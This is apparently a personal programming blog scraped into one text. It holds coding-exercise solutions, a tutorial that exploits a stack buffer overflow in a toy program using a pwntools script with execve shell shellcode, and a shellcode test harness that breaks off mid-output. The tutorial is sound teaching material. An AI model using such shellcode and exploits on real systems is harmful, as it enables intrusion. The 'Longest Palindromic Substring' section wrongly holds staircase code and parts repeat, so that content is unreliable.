The text of the exercise is the following: A builder is looking to build a row of N houses that can be of K different colours. He has a goal of minimizing cost while ensuring that no two neighbouring houses are not of the same colour. Given an N by K matrix where the nth row and kth column represents the cost to build the nth house with kth colour, return the minimum cost which achieves this goal. Before solving the exercise, we can ask few questions to specify few aspects that might not be clear: Can an house cost 0? No. Can N > K or N < K ? Yes. My solution It is clear that finding the minimum iteratively for each house can return a local minimal solution but we are interested in the global minima. Python C Java import math N = 6 K = 4 cost_matrix = [ [1 , 20, 34, 20], [40, 10, 15, 30], [50, 1, 20, 40], [70, 80, 30, 1 ], [1 , 60, 30, 40], [70, 50, 1 , 20] ] def find_house(row, col, tot, min_tot): if row < N: tot += cost_matrix[row][col] for c in range(K): if c != col: min_tot = find_house(row+1, c, tot, min_tot) else: if min_tot > tot: min_tot = tot return min_tot def main(): print ("Minimum value found:", find_house(0,0,0, math.inf)) #include<stdio.h> #include<limits.h> #define K 4 #define N 6 int cost_matrix[N][K] = { {1 , 20, 34, 20}, {40, 10, 15, 30}, {50, 1, 20, 40}, {70, 80, 30, 1 }, {1 , 60, 30, 40}, {70, 50, 1 , 20} }; int find_house(int row, int col, int tot, int min_tot) { if (row < N) { tot += cost_matrix[row][col]; for (int c=0; c<K; c++) { if (c != col) min_tot = find_house(row+1,c, tot, min_tot); } } else { if (min_tot > tot) min_tot = tot; } return min_tot; } int main() { printf("Minimal cost: %d\n", find_house(0, 0, 0, INT_MAX)); return 0; } public class BuildHouse { static int N=6; static int K=4; static int cost_matrix[][] = { {1 , 20, 34, 20}, {40, 10, 15, 30}, {50, 1, 20, 40}, {70, 80, 30, 1 }, {1 , 60, 30, 40}, {70, 50, 1 , 20} }; public static void main(String[] args) { System.out.println("Minimum value found: "+ findHouse(0,0,0,Integer.MAX_VALUE)); } static int findHouse(int row, int col, int tot, int min_tot) { if (row < N) { tot += cost_matrix[row][col]; for (int c=0; c<K; c++) { if (c != col) min_tot = findHouse(row+1, c, tot, min_tot); } } else { if (min_tot > tot) min_tot = tot; } return min_tot; } } Code Explanation The function find_house is a recursive function that takes the row, col, tot and min_tot as input parameters. The function transform the matrix into a tree and perform a kind of “depth-first” exploration returning the minimum of the total found. row represents the row of the house. col represents column of the house. tot represents the total up to the reached node. min_tot represents the minimum of the cost found up to that moment The recursion stops when all the nodes have been explored. Time complexity: \( O(N^K) \) Space complexity: \( O(N^K) \)

Longest Palindromic Substring

The text of the exercise is the following: Given a string s, find the longest palindromic substring in s. You may assume that the maximum length of s is 1000. Example 1: Input: “babad” Output: “bab” Note: “aba” is also a valid answer. Example 2: Input: “cbbd” Output: “bb” My solution Python C Java N = 4 solutions = [] def staircase(n, result): if n == 1: solutions.append(result+","+"1") return if n == 0: solutions.append(result) return staircase(n-2, result + ",2") staircase(n-1, result + ",1") if __name__ == "__main__": staircase(N,"") print("\n".join([s[1:] for s in solutions])) #include <stdio.h> #include <stdlib.h> #include <string.h> char** solutions; int N = 4; int n_solution=0; void staircase(int n, char *result); char* strAdd(char* begin, char* end); void addSolution(char* solution); void staircase(int n, char *result) { char *str1,*str2; if (n == 1) { str1 = strAdd(result, ",1"); addSolution(str1); free((void*)str1); return; } else if (n == 0) { addSolution(result); return; } str1 = strAdd(result, ",1"); str2 = strAdd(result, ",2"); staircase(n-1, str1); staircase(n-2, str2); free((void*)str1); free((void*)str2); } char* strAdd(char* begin, char* end) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ strlen(end) + 1)); if (str == NULL) exit(1); str = strcpy(str, begin); str = strcat(str, end); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,""); for(i=0; i< n_solution; i++ ) { printf("%s\n", solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; public class NStepStaircase { static List<String> solutions = new ArrayList<String>(); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator<String> iter = NStepStaircase.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { if (n == 1) { NStepStaircase.solutions.add(result.append(",1").toString()); return; } else if (n == 0) { solutions.add(result.toString()); return; } staircase(n-1, new StringBuffer(result).append(",1")); staircase(n-2, new StringBuffer(result).append(",2")); } } Code Explanation The function `staircase` is a recursive function that takes the `n` and `result` as input parameters. * `n` represents the number of stairs that remains to be climbed. * `result` represents the steps covered so far. The recursion stops when there are no more steps to climb or when there are only 1 stair left. **Time complexity**: \\( O(2^N) \\) **Space complexity**: \\( O(2^N) \\) Generalized solution Python C Java N = 9 solutions = [] STEPS = [1, 3, 5] def staircase(n, result): if n == 0: solutions.append(result) return for s in STEPS: if n-s >= 0: staircase(n-s, result + "," + str(s)) if __name__ == "__main__": staircase(N,"") print("\n".join([s[1:] for s in solutions])) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> char** solutions; int N = 4; int n_solution=0; int STEPS[] = {1,2,3}; void staircase(int n, char *result); char* strAdd(char* begin, int number); void addSolution(char* solution); void staircase(int n, char *result) { char *str; if (n == 0) { addSolution(result); return; } for (int i=0; i<sizeof(STEPS)/sizeof(STEPS[0]); i++) { if ( n-STEPS[i] >= 0) { str = strAdd(result, STEPS[i]); staircase(n-STEPS[i], str); free((void*)str); } } } char* strAdd(char* begin, int number) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ floor(log10(number))+1 +1 + 1)); //1 for '\0', 1 for ',', 1 for if (str == NULL) exit(1); sprintf(str, "%s,%d", begin, number); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,""); for(i=0; i< n_solution; i++ ) { printf("%s\n", solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Arrays; public class NStepStaircaseGeneral { static List<String> solutions = new ArrayList<String> (); static List<Integer> STEPS = new ArrayList<Integer>(Arrays.asList(1,2)); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator<String> iter = NStepStaircaseGeneral.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { Iterator<Integer> iter = NStepStaircaseGeneral.STEPS.iterator(); Integer step; if (n == 0) { solutions.add(result.toString()); return; } while (iter.hasNext()) { step = iter.next(); if ((n - step) >= 0) { staircase(n-step, new StringBuffer(result).append(","+step)); } } } } **Time complexity**: \\( O(k^N) \\) \\(;\\) \\(k = | STEPS | \\) **Space complexity**: \\( O(k^N) \\) \\(;\\) \\(k = | STEPS | \\) --

N Steps Staircase

The text of the exercise is the following: There’s a staircase with N steps, and you can climb 1 or 2 steps at a time. Given N, write a function that prints all the unique ways you can climb the staircase. The order of the steps matters. For example, if N is 4, then there are 5 unique ways: 1, 1, 1, 1 2, 1, 1 1, 2, 1 1, 1, 2 2, 2 What if, instead of being able to climb 1 or 2 steps at a time, you could climb any number from a set of positive integers X? For example, if X = {1, 3, 5}, you could climb 1, 3, or 5 steps at a time. Generalize your function to take in X. Before solving the exercise, we can ask few questions to specify few aspects that might not be clear. Are the steps going to be always positive number? Yes. In the general case, is 1 going to be always in the possible steps? No. My solution Python C Java N = 4 solutions = [] def staircase(n, result): if n == 1: solutions.append(result+","+"1") return if n == 0: solutions.append(result) return staircase(n-2, result + ",2") staircase(n-1, result + ",1") if __name__ == "__main__": staircase(N,"") print("\n".join([s[1:] for s in solutions])) #include <stdio.h> #include <stdlib.h> #include <string.h> char** solutions; int N = 4; int n_solution=0; void staircase(int n, char *result); char* strAdd(char* begin, char* end); void addSolution(char* solution); void staircase(int n, char *result) { char *str1,*str2; if (n == 1) { str1 = strAdd(result, ",1"); addSolution(str1); free((void*)str1); return; } else if (n == 0) { addSolution(result); return; } str1 = strAdd(result, ",1"); str2 = strAdd(result, ",2"); staircase(n-1, str1); staircase(n-2, str2); free((void*)str1); free((void*)str2); } char* strAdd(char* begin, char* end) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ strlen(end) + 1)); if (str == NULL) exit(1); str = strcpy(str, begin); str = strcat(str, end); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,""); for(i=0; i< n_solution; i++ ) { printf("%s\n", solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; public class NStepStaircase { static List<String> solutions = new ArrayList<String>(); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator<String> iter = NStepStaircase.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { if (n == 1) { NStepStaircase.solutions.add(result.append(",1").toString()); return; } else if (n == 0) { solutions.add(result.toString()); return; } staircase(n-1, new StringBuffer(result).append(",1")); staircase(n-2, new StringBuffer(result).append(",2")); } } Code Explanation The function staircase is a recursive function that takes the n and result as input parameters. n represents the number of stairs that remains to be climbed. result represents the steps covered so far. The recursion stops when there are no more steps to climb or when there are only 1 stair left. Time complexity: \( O(2^N) \) Space complexity: \( O(2^N) \) Generalized solution Python C Java N = 9 solutions = [] STEPS = [1, 3, 5] def staircase(n, result): if n == 0: solutions.append(result) return for s in STEPS: if n-s >= 0: staircase(n-s, result + "," + str(s)) if __name__ == "__main__": staircase(N,"") print("\n".join([s[1:] for s in solutions])) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> char** solutions; int N = 4; int n_solution=0; int STEPS[] = {1,2,3}; void staircase(int n, char *result); char* strAdd(char* begin, int number); void addSolution(char* solution); void staircase(int n, char *result) { char *str; if (n == 0) { addSolution(result); return; } for (int i=0; i<sizeof(STEPS)/sizeof(STEPS[0]); i++) { if ( n-STEPS[i] >= 0) { str = strAdd(result, STEPS[i]); staircase(n-STEPS[i], str); free((void*)str); } } } char* strAdd(char* begin, int number) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ floor(log10(number))+1 +1 + 1)); //1 for '\0', 1 for ',', 1 for if (str == NULL) exit(1); sprintf(str, "%s,%d", begin, number); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,""); for(i=0; i< n_solution; i++ ) { printf("%s\n", solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Arrays; public class NStepStaircaseGeneral { static List<String> solutions = new ArrayList<String> (); static List<Integer> STEPS = new ArrayList<Integer>(Arrays.asList(1,2)); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator<String> iter = NStepStaircaseGeneral.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { Iterator<Integer> iter = NStepStaircaseGeneral.STEPS.iterator(); Integer step; if (n == 0) { solutions.add(result.toString()); return; } while (iter.hasNext()) { step = iter.next(); if ((n - step) >= 0) { staircase(n-step, new StringBuffer(result).append(","+step)); } } } } Time complexity: \( O(k^N) \) \(;\) \(k = | STEPS | \) Space complexity: \( O(k^N) \) \(;\) \(k = | STEPS | \)

Basic Stack-Based Buffer Overflow

In this article, I am going to show how to exploit a stack-based buffer overflow and the conditions that make this possible. For the purpose of this exercise, we are going to switch off 3 security features: Address Space Layout Randomization (ASLR) Non-executable stack (aka stack execution prevention, aka NX Bit) Stack canary (aka stack-protector) How to switch off ASLR To switch off ASLR: $ sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' (Note that I didn’t do sudo echo 0 > /proc/sys/kernel/randomize_va_space because the output redirection command > will be performed as standard user but we need root permission to perform this operation.) How to switch off non-executable stack and stack canary security features To switch off the non-executable stack and the stack canary protections, we need to compile the program as follow: $ gcc -fno-stack-protector -z execstack -o overflow64 overflow64.c The use of the option -z execstack will prevent stack to be non-executable (i.e., it will be executable) while the option -fno-stack-protector disable the stack canary protection. Stack-based buffer overflow scheme The overflow of a variable positioned in the stack occurs when an operation is performed without checking the details of such operation resulting in a writing beyond the boundaries of such variable. When an operation write data on a buffer based on the stack beyond its limits, this operation can cause the overwriting of the return address of the function where this variable is allocated. This is because, as explained in The Stack, the local variables are above the return address as shown in the picture below. How we can exploit this situation? What can we write into the stack? The left stacks in both images represent a normal stack. The right stacks in both images represent a stack after the unsafe write operation. The unsafe operation started to write data from the top of the stack (where the stack variable is stored) and continue beyond its limit to overwrite the return address of the same function. This address is where the program expect to find the return address of the function. By overwriting this address we are able to to diverge the execution of the program. In this image, we can see that in the stack is written also some nop slides before the shellcode. These are only a series of nop operations, i.e., no-operation operation (0x90 in machine code). We use nop slide because sometimes it is difficult to the jump to the start of the shellcode. In this way it is possible to jump approximately before it. The nop operation is 1 byte long, and jumping to any byte address where these operations are located will not cause any error. This instruction is used because it does not do anything and it moves to the next operation. At the end of the nop slide the shellcode will be located and executed. The program to exploit This is the source code of the program that we are going to exploit: // file: overflow64.c #include<stdio.h> int main(int argc, char* argv[]) { char buff[20]; scanf("%s", buff); return 0; } In line 7, there is a vulnerable operation. Why vulnerable? Because it does not check the boundaries of the arrays that are being copied (check man scanf). Let’s compile this program as described in previously. The first thing we need to do is to crash the program. If we input more than 20 characters the program crash: $ ./overflow64 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault (core dumped) We can see that the terminal reports Segmentation fault. Let’s try to get a bit more details on this crash. The next step is to understand why it is crashing. By running dmesg: $ dmesg | tail ...... [13401.299114] overflow64[16566]: segfault at 616161616161 ip 0000616161616161 sp 00007fffffffddb0 error 14 in libc-2.27.so[7ffff79e4000+1e7000] The logs shown by dmesg show that the program named “overflow64” received a segfault (segmentation fault) when trying to access a memory location with address 616161616161. (When we run the program, we input a lot of “a” that in ASCII are represented with the hexadecimal value of 0x61. Is it a coincidence? Spoiler alert: no.) This happen because the program is trying to access a memory address that is not supposed to. Giving in input more “a"s we can incur in a different dmesg message: $ dmesg | tail ...... [13747.451995] traps: overflow64[16766] general protection ip:555555554697 sp:7fffffffdda8 error:0 in overflow64[555555554000+1000] In this case the message is referring to a general protection. What is this? In x86_64 bit architecture the maximum canonical address is currently 0x00007fffffffffff. Therefore even if an address is 64 bit long, current processor use only 48 bits of those. This was done because 48 bit address gives already an address space of 256 terabytes, therefore it will be enough for quite a long future. Therefore instead of wasting hardware and power resources, the hardware manufactures decided this way. The architecture design support 64 bit but the current hardware implementations do not. To gather even more information on the crash we can run the program within GDB. For this purpose I use GEF to have an easier access to debug information. $ gdb -q ./overflow64 GEF for linux ready, type `gef` to start, `gef config` to configure 73 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6 Reading symbols from ./overflow64...(no debugging symbols found)...done. gef➤ r Starting program: /home/pippo/ctf/lectures/basic_buffer_overflow/overflow64 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x0 $rcx : 0x00007ffff7dd0560 → 0x00007ffff7dcc580 → 0x00007ffff7b9996e → 0x636d656d5f5f0043 ("C"?) $rdx : 0x00007ffff7dd18d0 → 0x0000000000000000 $rsp : 0x00007fffffffdcd8 → "aaaaaaaaaaaaaaaaaa" $rbp : 0x6161616161616161 ("aaaaaaaa"?) $rsi : 0x1 $rdi : 0x0 $rip : 0x0000555555554697 → <main+45> ret $r8 : 0x0 $r9 : 0x0 $r10 : 0x0 $r11 : 0x0000555555554726 → add BYTE PTR [rax], al $r12 : 0x0000555555554560 → <_start+0> xor ebp, ebp $r13 : 0x00007fffffffddb0 → 0x0000000000000001 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdcd8│+0x0000: "aaaaaaaaaaaaaaaaaa" ← $rsp 0x00007fffffffdce0│+0x0008: "aaaaaaaaaa" 0x00007fffffffdce8│+0x0010: 0x00007fffff006161 ("aa"?) 0x00007fffffffdcf0│+0x0018: 0x0000000100008000 0x00007fffffffdcf8│+0x0020: 0x000055555555466a → <main+0> push rbp 0x00007fffffffdd00│+0x0028: 0x0000000000000000 0x00007fffffffdd08│+0x0030: 0x7d8cd030cadb6f2f 0x00007fffffffdd10│+0x0038: 0x0000555555554560 → <_start+0> xor ebp, ebp ─────────────────────────────────────────────────────────────── code:x86:64 ──── 0x55555555468c <main+34> call 0x555555554540 <__isoc99_scanf@plt> 0x555555554691 <main+39> mov eax, 0x0 0x555555554696 <main+44> leave → 0x555555554697 <main+45> ret [!] Cannot disassemble from $PC ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "overflow64", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0x555555554697 → main() ──────────────────────────────────────────────────────────────────────────────── 0x0000555555554697 in main () In line 47, this program stopped because received the SIGSEGV i.e., segmentation fault (see man 7 signal for more information on signals). In lines 41-45, you can see code information. You can see that the program stopped at the ret instruction. In lines 12-30, you can see registers information. In lines 32-39, you can see stack information. In line 7, we can see the input that we fed to the program. The ret takes the address pointed by the stack pointer (rsp) and continue the execution from there. The address that the program is trying to jump to is an invalid address that we overwrite when we overflow the address. Our goal is to be able to write in this address an arbitrary address so that we can divert the execution. We need to write an address that when executed its content will eventually execute our shellcode. With the help of GDB we can break in the main function and have a look at the stack address of the function: $ gdb -q ./overflow64 GEF for linux ready, type `gef` to start, `gef config` to configure 73 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6 Reading symbols from ./overflow64...(no debugging symbols found)...done. gef➤ b main Breakpoint 1 at 0x66e gef➤ r Starting program: /home/pippo/ctf/lectures/basic_buffer_overflow/overflow64 ...... ──────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdcc0│+0x0000: 0x00005555555546a0 → <__libc_csu_init+0> push r15 ← $rsp, $rbp 0x00007fffffffdcc8│+0x0008: 0x00007ffff7a05b97 → <__libc_start_main+231> mov edi, eax 0x00007fffffffdcd0│+0x0010: 0x0000000000000001 0x00007fffffffdcd8│+0x0018: 0x00007fffffffdda8 → 0x00007fffffffe12f → "/home/pippo/ctf/lectures/basic_buffer_overflow/ove[...]" 0x00007fffffffdce0│+0x0020: 0x0000000100008000 0x00007fffffffdce8│+0x0028: 0x000055555555466a → <main+0> push rbp 0x00007fffffffdcf0│+0x0030: 0x0000000000000000 0x00007fffffffdcf8│+0x0038: 0x34f880d1fbfab7e5 ────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x555555554665 <frame_dummy+5> jmp 0x5555555545d0 <register_tm_clones> 0x55555555466a <main+0> push rbp 0x55555555466b <main+1> mov rbp, rsp → 0x55555555466e <main+4> sub rsp, 0x30 0x555555554672 <main+8> mov DWORD PTR [rbp-0x24], edi 0x555555554675 <main+11> mov QWORD PTR [rbp-0x30], rsi 0x555555554679 <main+15> lea rax, [rbp-0x20] 0x55555555467d <main+19> mov rsi, rax 0x555555554680 <main+22> lea rdi, [rip+0x9d] # 0x555555554724 ...... Breakpoint 1, 0x000055555555466e in main () (The snippet shows only the interesting parts.) In line 11, we can see that the stack is currently at position 0x00007fffffffdcc0. The space of the local variable have not been allocated yet as shown in line 23. When we overflow the local variables we are going to write our shellcode around this address. In order to execute the shellcode we need to overwrite the return address of the function with our crafted address. The location of the return address to overwrite is relative to the buffer that we are overflowing depends on many things. It depends on the size of other local variables (and their positions compared to the overflowed one) the stack alignment, and to the presence of the stack canary. The best way to find the correct location is to try to input increasingly number of input until we can see that we overwrite the return address of the function. Once we find the offset of the return address, we need to point it to the shellcode. We have already found the location near where the shellcode will be located. What needs to be placed in the stack is a nop slide to help to reach our shellcode as shown previously. This is achieved with the following code (I am using Pwntools): # filename: exploit_overflow64.py from pwn import * import sys # process name to exploit process_path = "./overflow64" shellcode = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f" shellcode += "\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57" shellcode += "\x54\x5f\x6a\x3b\x58\x0f\x05" # return address obtained by adding 0x30 to the top of the stack # maximum canonical address size is 0x00007FFFFFFFFFFF ret_addr = "\x00\x00\x7f\xff\xff\xff\xdd\x50"[::-1] payload = "A"*40 + ret_addr payload += "\x90" * 500 + shellcode # Writing payload to file to be used elsewhere (e.g., GDB) f = open("payload", 'w') f.write(payload) f.close() # start the program proc = process(process_path) # send payload proc.sendline(payload) # we need interact with the spawned shell proc.interactive() proc.close() In line 16, we can see that I am preparing the input to the scanf function writing 40 “A”, then the return address, then 500 nop operations and finally the shellcode. Now can can give the input to the function that will overflow the variable and write the correct return address. We can run it on GDB and break it just after the scanf function our stack will look like this: gef➤ dereference $rsp 20 0x00007fffffffdc90│+0x0000: 0x00007fffffffdda8 → 0x9090909090909090 ← $rsp 0x00007fffffffdc98│+0x0008: 0x0000000100000000 0x00007fffffffdca0│+0x0010: 0x4141414141414141 0x00007fffffffdca8│+0x0018: 0x4141414141414141 0x00007fffffffdcb0│+0x0020: 0x4141414141414141 0x00007fffffffdcb8│+0x0028: 0x4141414141414141 0x00007fffffffdcc0│+0x0030: 0x4141414141414141 ← $rbp 0x00007fffffffdcc8│+0x0038: 0x00007fffffffdd50 → 0x9090909090909090 0x00007fffffffdcd0│+0x0040: 0x9090909090909090 0x00007fffffffdcd8│+0x0048: 0x9090909090909090 0x00007fffffffdce0│+0x0050: 0x9090909090909090 The address below the rbp is the one that contains the return address that we overwrite when we overflow the variable and now it points to a location where nop are store. At the end of the nop there is the shellcode, when executed, the program is going to eventually execute the shellcode that was our initial goal

How to Test a Shellcode

A shellcode is a piece of compiled code that is typically given as input to a program that, when executed, is going to launch a shell (see Build Your Own Shellcode). To test a shellcode we are going to used the following code: // filename: test_shellcode.c char *code = "<shellcodegoeshere>"; int main() { void (*shell)(); shell=(void (*)())code; (*shell)(); } In line 2, we are going to copy the shellcode that we want to test. In line 5, we are declaring the variable shell as a pointer to a function that returns void and that takes no arguments. In line 6, we are casting the string pointer code to the same type of the variable shell (i.e.: a function that returns void and that takes no arguments.) In line 7, we are calling the function pointed by the shell variable (passing no parameters). Once we filled the code variable with the shellcode (in line 1), we can compile the program and run it as: $ gcc -o test_shellcode test_shellcode.c $ ./test_shellcode In this way we can understand if the shellcode will work on the current system. To give a shellcode in input to a program in order to execute it we have to be careful about few more things as explained in Build Your Own Shellcode. Understanding the test program The content pointed by the variable code is going to be allocated in an executable portion of the memory layout. The command $ readelf -a ./test_shellcode gives a lot of information. Let’s try to brake it down for easy to digest. If we examine the symbol tables $ readelf -s ./test_shellcode we can see something like this: Symbol table '.symtab' contains 62 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000238 0 SECTION LOCAL DEFAULT 1 2: 0000000000000254 0 SECTION LOCAL DEFAULT 2 3: 0000000000000274 0 SECTION LOCAL DEFAULT 3 ......... 59: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@@GLIBC_2.2 60: 00000000000004d0 0 FUNC GLOBAL DEFAULT 10 _init 61: 0000000000201010 8 OBJECT GLOBAL DEFAULT 22 code In line 10, the symbol code is shown with a Value of 0000000000201010. The Value column represent the address of the symbol. The command $ readelf -S ./test_shellcode shows the header sections of the ELF file: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000000238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 0000000000000254 00000254 0000000000000020 0000000000000000 A 0 0 4 ...... [21] .got PROGBITS 0000000000200fc0 00000fc0 0000000000000040 0000000000000008 WA 0 0 8 [22] .data PROGBITS 0000000000201000 00001000 0000000000000018 0000000000000000 WA 0 0 8 [23] .bss NOBITS 0000000000201018 00001018 0000000000000008 0000000000000000 WA 0 0 1 Here, we can see that the .data section has an address of 0000000000201000 and a size of 0000000000000018. The symbol code is defined as the address of 0000000000201010 i.e., inside the .data section. We could have gather the same information by running $ objdump -t ./test: SYMBOL TABLE: 0000000000000238 l d .interp 0000000000000000 .interp 0000000000000254 l d .note.ABI-tag 0000000000000000 .note.ABI-tag 0000000000000274 l d .note.gnu.build-id 0000000000000000 .note.gnu.build-id 0000000000000298 l d .gnu.hash 0000000000000000 .gnu.hash 00000000000002b8 l d .dynsym 0000000000000000 .dynsym ...... 0000000000000000 w *UND* 0000000000000000 _ITM_registerTMCloneTable 0000000000000000 w F *UND* 0000000000000000 __cxa_finalize@@GLIBC_2.2.5 00000000000004d0 g F .init 0000000000000000 _init 0000000000201010 g O .data 0000000000000008 code In line 11, we can see that the symbol code is declared in the section .data. To know the permission that a section has, we can have to look at the Program Headers and at the Section to Segment mapping by running $ readelf -a ./test_shellcode: Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040 0x00000000000001f8 0x00000000000001f8 R 0x8 INTERP 0x0000000000000238 0x0000000000000238 0x0000000000000238 0x000000000000001c 0x000000000000001c R 0x1 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000818 0x0000000000000818 R E 0x200000 LOAD 0x0000000000000df0 0x0000000000200df0 0x0000000000200df0 0x0000000000000228 0x0000000000000230 RW 0x200000 DYNAMIC 0x0000000000000e00 0x0000000000200e00 0x0000000000200e00 0x00000000000001c0 0x00000000000001c0 RW 0x8 NOTE 0x0000000000000254 0x0000000000000254 0x0000000000000254 0x0000000000000044 0x0000000000000044 R 0x4 GNU_EH_FRAME 0x00000000000006d4 0x00000000000006d4 0x00000000000006d4 0x000000000000003c 0x000000000000003c R 0x4 GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 0x10 GNU_RELRO 0x0000000000000df0 0x0000000000200df0 0x0000000000200df0 0x0000000000000210 0x0000000000000210 R 0x1 Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame 03 .init_array .fini_array .dynamic .got .data .bss 04 .dynamic 05 .note.ABI-tag .note.gnu.build-id 06 .eh_frame_hdr 07 08 .init_array .fini_array .dynamic .got Here we can see that the .data section is mapped into the segment 03 (i.e., the 4th segment). Under the “Program Header” we can count the segments from the top; the first is PHDR segment, the second is INTERP and the fourth is LOAD with permission to read and to write (but not execute!). If we don’t have the execute permission, how come that we are able to run the code?? Let’s run the code in GDB to clarify this point (I am using GEF): Reading symbols from ./test_shellcode...(no debugging symbols found)...done. gef➤ b main Breakpoint 1 at 0x61e gef➤ r Starting program: /home/pippo/ctf/lectures/build_shellcode/test Breakpoint 1, 0x000055555555461e in main () gef➤ info address code Symbol "code" is at 0x555555755010 in a file compiled without debugging. gef➤ x/1g 0x555555755010 0x555555755010 <code>: 0x5555555546c4 gef➤ x/1g 0x5555555546c4 0x5555555546c4: 0x5bf0000003cb8 In line 7, we are printing the address of the global variable code that is located 0x555555755010 (as shown in line 8). This variable is a pointer to the location of memory 0x5555555546c4 (line 10). To understand what are the permission of those different memory locations we can run gef➤ vmmap: gef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555555000 0x0000000000000000 r-x /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x0000555555754000 0x0000555555755000 0x0000000000000000 r-- /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcb000 